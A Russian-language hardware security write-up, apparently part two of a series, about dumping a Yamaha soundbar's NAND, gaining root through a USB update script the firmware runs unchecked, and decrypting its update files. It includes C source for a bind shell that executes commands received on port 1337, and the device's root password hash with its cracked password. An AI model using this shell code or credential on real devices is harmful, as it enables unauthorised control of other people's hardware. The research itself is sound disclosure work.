Приветствую!
В конце первой части статьи по исследованию саундбара Yamaha я упомянул о плачевном состоянии его безопасности. Но вот то, насколько оно плачевное, я тогда представлял не до конца.
Чтобы вам не пришлось постоянно бегать в первую часть, некоторые моменты оттуда я буду повторять — так будет проще.
Разбираем дамп NAND
Значит так, в прошлый раз мы получили чистый дамп без скремблирования прошивки с флеша. Кому интересно, вот скрипт, который расшифровывает NAND-дамп. Нужно теперь разобраться, что в нём хранится. Давайте запустим binwalk
и узнаем. Вот что мне удалось выделить:
-
Файловая система UBIFS.
-
Образ с ядром.
-
Tee- и TrustedOS-образы.
-
Загрузчик от MediaTek.
Последний нам уже не особо интересен, так как свою роль он сыграл в первой части статьи. А вот с файловой системой стоит разобраться. Для дампинга содержимого UBIFS существует замечательный скрипт ubidump.py
, его я тоже упоминал в первой части. Но чтобы он нормально отработал, нужно дамп слегка подредактировать. Сначала откусываем от файла все spare-area-блоки (размером 0x40
байт, встречаются через каждые 0x400
байт). Далее берём часть дампа с первого упоминания UBI#
(это смещение 0xED1000
) и сохраняем в отдельный файлик. Теперь запускаем скриптик:
python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin
Я запускал это под отладкой, так как биты в моём дампе частенько оказывались свапнуты и CRC32 не совпадал. Приходилось исправлять дамп фактически на лету — этим и занимается NAND-контроллер, применяя ECC.
В результате появился каталог dump/useradata
. Среди полученных файлов я не обнаружил ни одного исполняемого, который помог бы мне расшифровать прошивку (напоминаю, это изначальная цель ресёрча). Зато обнаружился очень интересный файл old.log
. Из него я узнал свой пароль от Wi-Fi, client_id
и client_secret
от Alexa, а также данные о том, куда железка обращается за апдейтами. Возможно, в логе имелось и что-то поинтереснее, но пока я не знал, на что стоит обращать внимание, поэтому стал копать дальше.
Я помнил и другие файлы, которые своими именами в дампе привлекли моё внимание, но они почему-то не сдампились. Например, мне хотелось извлечь yamaha_usb_upgrade.sh
, который называется так же, как один из файлов обновления — yamaha_usb_upgrade.enc
.
В общем, поковыряв дампилку, я обнаружил, что она считает количество блоков (они называются LEB — logical erase block), исходя из размера файла. Также, начиная с какого-то неопределённого номера блока, при парсинге их идентификаторы начинали совпадать и перетирать ранее прочитанные. Значит, плюс-минус с этого момента в дампе идёт другой раздел. Можно попробовать откусить его и снова сдампить. Сказано — сделано.
Обрезаем тот же файл до смещения 0x2C62000
(подобрано экспериментальным путём) и снова запускаем дампилку. На выходе почему-то получаем уже не useradata
, а каталог aud8516-consys-slc-rootfs.
И он мне нравится сильно больше предыдущего. Вот что оттуда извлеклось:
Многие из каталогов оказались не пустыми! И конечно же, я нашёл так интересовавший меня yamaha_usb_upgrade.sh
. Правда, он оказался не тем, чего я ожидал. Тем не менее, в этом скрипте обнаружились упоминания других исполняемых файлов, а именно:
-
/bin/upgrade_app
-
/system/workdir/bin/smplayer
-
/system/workdir/bin/localSendSocket
-
/system/workdir/bin/a01localupdate
Что забавно, ни один из них не расшифровывал файлы обновлений. Пришлось искать по строкам:
Так-то лучше. Взглянем на /system/workdir/bin/a01remoteupdate
поближе.
Смотрим на a01remoteupdate
Приложение работает и с сервером обновлений Yamaha, и с обновлением через USB (иначе почему в нём засветилась строка с нужным нам именем файла?). URL обновления я уже видел в old.log
(о нём чуть позже), а вот с флешкой всё куда интереснее. Ниже представлена функция, в которой упоминается yamaha_usb_upgrade.sh
:
Ну не красота ли! Часть функций на скрине я уже переименовал согласно логике внутри, но тем не менее. Во-первых, для нас заботливо выводят имя текущей функции. Во-вторых, описывают каждый шаг. Рассмотрим скрин повнимательнее.
Смотрим на Gen_USB_upgrade()
Это самое начало функции. Я сразу и не обратил внимания на этот кусок, тут же перешёл к расшифровке апдейтов. А вот и зря! Сам каталог /media/
— это наша смонтированная USB-флешка. Программа почему-то ищет там и запускает файлик yamaha_usb_upgrade.sh
, хотя мы прекрасно помним, что на флешку требуется положить только зашифрованные файлы и текстовик с версией. Неужели бэкдор в обновлениях?! Проверим.
Создаём файлик yamaha_usb_upgrade.sh
, который, например, выведет нам все смонтированные разделы:
/bin/mount > /media/mount.txt
Зажимаем кнопки VOLUME-
и POWER
, пока лампочка Wi-Fi не начнёт мигать — процесс обновления пошёл. Когда саундбар запустился, проверяем флешку и… вуаля:
mount.txt
ubi0:aud8516-consys-slc-rootfs on / type ubifs (rw,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)
tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
configfs on /sys/kernel/config type configfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw)
mqueue on /dev/mqueue type mqueue (rw,relatime)
ubi1_0 on /data type ubifs (rw,relatime,sync)
ubi1_0 on /var type ubifs (rw,relatime,sync)
tmpfs on /tmp type tmpfs (rw,relatime,size=81920k)
tmpfs on /var/volatile type tmpfs (rw,relatime)
tmpfs on /data/var/volatile type tmpfs (rw,relatime)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)
/dev/sda1 on /media type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
Сразу обращаем внимание, что практически всё смонтировано в режиме rw
(read-write). Это значит, мы с нашим бэкдорным скриптом можем творить вообще всё что угодно! И первым делом мне, конечно же, захотелось получить шелл, например через telnetd. Покопавшись в файлах, видим, что основные системные команды работают через busybox, а значит, всё зависит от того, реализованы ли в нём собственно сервера telnetd, ftpd и т. п. Как окажется позже, нет, не реализованы. Значит, сначала нужно подложить свой.
Пока я искал нормальный busybox/telnetd, скомпилированный в static под ARM64, я быстренько наваял собственный шелл на основе того, что предлагает stackoverflow и Github:
shell_c.c
#include
#include
#include
#include
#include
#include
int host_sockid;
int client_sockid;
struct sockaddr_in hostaddr;
int main() {
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(1337);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
listen(host_sockid, 2);
char buf[8192];
char tmp[8192];
char pp[256];
while (1) {
client_sockid = accept(host_sockid, NULL, NULL);
memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
memset(pp, 0, 256);
int sz = recv(client_sockid, buf, sizeof(buf), 0);
buf[sz] = 0;
snprintf(tmp, 8192, "%s 2>&1", buf);
FILE* stream = popen(tmp, "r");
if (stream) {
while (!feof(stream)) {
if (fgets(pp, 256, stream) != NULL) {
int len = strlen(pp);
send(client_sockid, pp, len, 0);
}
}
}
close(client_sockid);
pclose(stream);
}
close(host_sockid);
return 0;
}
Тут всё просто: получаем строку на порту 1337, добавляем к ней вывод stderr
и stdout
, передаём в popen()
, результаты которого отправляем себе обратно.
По аналогии добавляем запуск шелла из скрипта:
chmod +x /media/shell_c
/media/shell_c &
К сожалению, у меня это не сработало. Судя по всему, на FAT32 нельзя устанавливать флаги и права для файлов. Поэтому сначала нужно скопировать бинарь куда-то в файловую систему саундбара, например в /usr/bin
:
cp /media/shell_c /usr/bin/shell_c
chmod +x /usr/bin/shell_c
/usr/bin/shell_c &
В бесконечный по счёту раз перезапускаем колонку, втыкаем флешку, инициируем процесс обновления, после чего сканируем nmap-ом:
sudo nmap -p1337 192.168.0.164
Ларчик, как и требовалось, открылся, и моей радости не было предела! Для пробы вводим ls /
и получаем содержимое корня файловой системы. Это победа! Теперь можно и нормальный busybox подложить, который к тому времени таки нашёлся: busybox_arm64
. Будем запускать его пока ещё через собственный шелл, а потом определимся с механизмом автозапуска.
Применяем telnetd
Итак, busybox_arm64 telnetd
запустился нормально, открытый 23/TCP — тому подтверждение. Пробуем войти, но нас встречает просьба ввести логин и пароль.
Ищем по ранее сдампленой файловой системе shadow
и смотрим содержимое:
root:$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:19146:0:99999:7:::
daemon:*:19146:0:99999:7:::
bin:*:19146:0:99999:7:::
sys:*:19146:0:99999:7:::
sync:*:19146:0:99999:7:::
games:*:19146:0:99999:7:::
man:*:19146:0:99999:7:::
lp:*:19146:0:99999:7:::
mail:*:19146:0:99999:7:::
news:*:19146:0:99999:7:::
uucp:*:19146:0:99999:7:::
proxy:*:19146:0:99999:7:::
www-data:*:19146:0:99999:7:::
backup:*:19146:0:99999:7:::
list:*:19146:0:99999:7:::
irc:*:19146:0:99999:7:::
gnats:*:19146:0:99999:7:::
ntp:!:19146::::::
systemd-timesync:!:19146::::::
messagebus:!:19146::::::
nobody:*:19146:0:99999:7:::
Видим пользователя root
и его зашифрованный пароль. Не теряя надежды добить железку, суём строчку в hashcat
и… получаем на удивление простой словарный пароль:
$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:bamboo
Да, безопасность несомненно на уровне! Пробуем логиниться и получаем ту самую картину из концовки первой статьи:
Что ж, девайс повержен! Хотя для верности можно ещё и FTP поднять, заархивировать всю файловую систему в .tar.gz
и сохранить на флешку. Но это было делом уже следующего дня. А пока давайте таки вернёмся к зашифрованным обновлениям — заждались же!
Зашифрованные обновления
Вспоминаем красивый скрин с функцией UPG_Gen_USB_upgrade()
и строку с вызовом prepare_keys()
. Рассмотрим последнюю:
Всю функцию можно по сути разделить на три логических блока, в каждом из которых происходит работа с ключами k1
(подсвечен), k2
и k3
. После чтения ключа, который хранится в base64, и инвертирования (reversed(str)
) каждой его строки в decode_str()
, итоговый результат преобразуется в бинарный файл /tmp/TmpAES
через вызов openssl
.
А вот дальше происходит магия: полученный TmpAES хранит в себе данные, зашифрованные с помощью aes-128-cbc. Начальный вектор Tmpx93st93_iv
и ключ Tmpx93st93_key
пока незвестны. Ищем обращения к этим полям структуры g_wiimu_shm,
выясняем, что в rootApp
их нет. Сама глобальная переменная задаётся вызовом функции WiimuContextGet()
, которая реализована в файле libmvmsg.so
. Но и там мне не удалось найти инициализацию секретной составляющей. Зато нашлись другие интересные функции:
Моё внимание привлекла вторая в списке — WiimuContextCreate()
. В ней самой, к сожалению, ключ и вектор не задаются, зато это навело меня на мысль, что в тех исполняемых файлах, где эта функция вызывается, и будут присваиваться значения полей:
А вот это, видимо, уже то что нужно! Непродолжительный поиск по rootApp
выдаёт нам такой вот участок кода:
Похоже, пазл сложился. Вернёмся к расшифровке обновлений. До этого мы только подготавливали ключи, само же превращение зашифрованных файлов в обычные идёт следующей строчкой:
prepare_keys();
decrypt_with_Tmpx93st93("/media/yamaha_usb_upgrade.enc", "/tmp/yamaha_usb_upgrade.sh");
Функция decrypt_with_Tmpx93st93()
оказывается крайне простой:
Полученный на предыдущем этапе ключ, который был зашифрован другим ключом, используется всё в том же openssl/aes-128-cbc
— уже для непосредственной расшифровки файла обновления. Набрасываем вновь приобретённые знания в скрипте на Python и применяем его на файле update.enc
. В результате получаем обыкновенный ZIP-архив:
Таким же образом расшифровываем и остальные файлы yamaha_usb_upgrade.enc
:
И mcu.enc
:
Вот по сути и всё, чего я хотел добиться изначально. Но ведь это ещё не конец?
Интересно же ещё на работу с сетью взглянуть. Вот и я хотел бы… Но в данный момент колонка лежит закирпиченная в результате неудачного эксперимента — добавление своей (кривой, конечно) строки в скрипт автозапуска пагубно влияет на старт системы. Поэтому пока переключимся на поиск мест, откуда саундбар сифонит.
— Автор, не томи!!! Сифонит?
— Сифонит 🙂
Тут я хочу признаться. Когда я писал этот ответ, я только догадывался, что девайс делает что-то нехорошее, но как именно — не знал. Я видел в логах и исполняемых файлах множество упоминаний сайтов типа ota.linkplay.com
, a001.linkplay.com
, cloud-jobs.linkplay.com
, www.wiimu.com
, www.muzohifi.com
, avpro.global.yamaha.com
, aws.amazon.com
; строчек наподобие pingbaidu
; портов с сомнительным ответом от них, которые к тому же светят на 0.0.0.0.
Пришло время со всем этим разобраться.
И начать проще всего с запуска netstat -tulpan
и определения, какие сетевые порты у каких приложений открыты вовне:
Можно выделить следующие приложения:
-
AvsMrmPlayer: 55442/TCP, 55443/TCP
-
a01controller: 8819/TCP, 49152/TCP, 59152/TCP, 1900/UDP
-
stunnel: 443/TCP
-
spotify_connect: 5356/TCP, 5353/UDP
-
mdnsd: 5353/UDP, 56811/UDP, 54174/UDP
Забавно, но каждое из них запускает один единственный rootApp
, который не проявляет собственной сетевой активности. Давайте взглянем на него.
Смотрим на rootApp
Прежде чем мы продолжим, стоит немного рассказать, как сервисы колонки общаются между собой:
-
В каталоге
/tmp
создаётся файл с конкретным именем, за которым следит тот или иной сервис. -
При изменении содержимого этого файла приложение его вычитывает и выполняет необходимые действия.
-
Результат выполнения команды записывается в тот же файл.
Например, у приложения rootApp
отслеживаемый файл называется /tmp/RequestGoheadCmd
.
Перейдём непосредственно к его анализу. Вот начало функции main()
:
Сначала с помощью RC4 расшифровываются какие-то конфиги и сертификаты для stunnel
, после чего он запускается. Как по мне, крайне некрасиво хранить на устройстве какие-то шифрованные конфиги и ключи, а тем более использовать их при создании TLS-туннеля. Давайте расшифруем конфиги и посмотрим, что там:
[web_https]
accept = 443
connect = 127.0.0.1:80
cert = /system/workdir/misc/stunnel.pem
requireCert = yes
verify = 2
checkHost = www.linkplay.com
checkEmail = mail@linkplay.com
CAfile = /system/workdir/misc/ca.pem
Видим, что основной порт действительно 443/TCP, который становится доступным только локально на 80/TCP. Остальные опции указывают требование сертификата от того, кто будет подключаться, и определённые значения полей Host и Email в этом сертификате. Как показывает netstat
, за 80/TCP отвечает приложение boa
.
Что за boa такое?
Поиск в интернете приводит меня на репозиторий одноимённого сервера. Судя по всему, его исходный код был изменён для добавления новых команд. Также удалось выяснить, что ранее 80-й порт назывался LinkPlayAPI и был открытым для внешнего доступа. Разработчики зачем-то решили спрятать его в шифрованное соединение, чтобы никто не видел, какую дичь они там исполняют.